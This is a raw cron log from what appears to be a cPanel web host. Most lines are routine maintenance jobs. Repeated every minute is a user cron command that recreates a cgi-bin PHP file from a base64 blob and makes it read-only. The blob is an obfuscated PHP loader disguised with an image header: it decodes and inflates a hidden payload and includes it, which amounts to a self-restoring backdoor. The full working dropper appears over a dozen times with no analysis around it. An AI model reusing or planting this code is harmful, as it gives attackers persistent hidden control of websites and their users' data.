Sep  9 15:02:01 server CROND[31110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:02:01 server CROND[31111]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:02:01 server CROND[31112]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:03:01 server CROND[31592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:03:01 server CROND[31593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:03:01 server CROND[31594]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:04:01 server CROND[31965]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:04:01 server CROND[31966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:04:01 server CROND[31967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:05:01 server CROND[32354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:05:01 server CROND[32356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:05:01 server CROND[32358]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 15:05:01 server CROND[32361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:05:01 server CROND[32362]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 15:05:01 server CROND[32359]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 15:05:01 server CROND[32363]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 15:05:01 server CROND[32360]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 15:06:01 server CROND[741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:06:01 server CROND[744]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:06:01 server CROND[747]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:07:01 server CROND[1186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:07:01 server CROND[1185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:07:01 server CROND[1187]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:08:01 server CROND[1664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:08:01 server CROND[1665]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:08:01 server CROND[1666]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:09:01 server CROND[2113]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:09:01 server CROND[2114]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:09:01 server CROND[2116]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 15:09:01 server CROND[2115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:10:01 server CROND[2498]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 15:10:01 server CROND[2501]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 15:10:01 server CROND[2502]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 15:10:01 server CROND[2503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:10:01 server CROND[2504]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 15:10:01 server CROND[2506]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 15:10:01 server CROND[2509]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:10:01 server CROND[2505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:11:01 server CROND[3352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:11:01 server CROND[3353]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:11:01 server CROND[3354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:12:01 server CROND[3732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:12:01 server CROND[3734]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 15:12:01 server CROND[3733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:12:01 server CROND[3736]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:13:01 server CROND[4105]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:13:01 server CROND[4106]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:13:01 server CROND[4107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:14:01 server CROND[4564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
